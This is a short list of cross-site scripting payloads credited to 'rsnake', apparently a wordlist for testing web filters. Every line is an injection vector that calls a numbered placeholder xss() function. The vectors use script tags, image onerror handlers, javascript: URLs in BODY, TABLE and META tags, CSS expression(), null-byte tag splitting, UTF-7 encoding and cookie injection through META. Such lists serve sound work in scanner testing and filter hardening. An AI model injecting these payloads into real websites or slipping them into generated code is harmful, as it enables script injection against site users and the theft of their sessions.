# credit to rsnake
<script>xss(1);</script>
'<script>xss(2);</script>
"<script>xss(3);</script>
'';!--"<script>xss(4);</script>
<img src="" onerror="xss(5)">
<img src="()" onerror="xss(6)">
<img src="<>" onerror="xss(7)">
<img src="/nOtReaLlyTheRe" onerror="xss(8)">
<IMG """><SCRIPT>xss(8);</SCRIPT>">
<SCR%00IPT>xss(18)</SCR%00IPT>
\";xss(20);//
<BODY BACKGROUND="javascript:xss(22)">
<BODY ONLOAD=xss(23)>
<BR SIZE="&{xss(27)}">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:xss(29);">
<META HTTP-EQUIV="Link" Content="<javascript:xss(30)>; REL=stylesheet">
<TABLE BACKGROUND="javascript:xss(34)">
<DIV STYLE="width: expression(xss(37);">
<IMG STYLE="xss:expr/*XSS*/ession(xss(39)">
<XSS STYLE="xss:expression(xss(40)">
<STYLE TYPE="text/javascript">xss(41);</STYLE>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:xss(45)></OBJECT>
<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;xss(48)&lt;/SCRIPT&gt;">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-xss(49);+ADw-/SCRIPT+AD4-
<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=xss(50)>
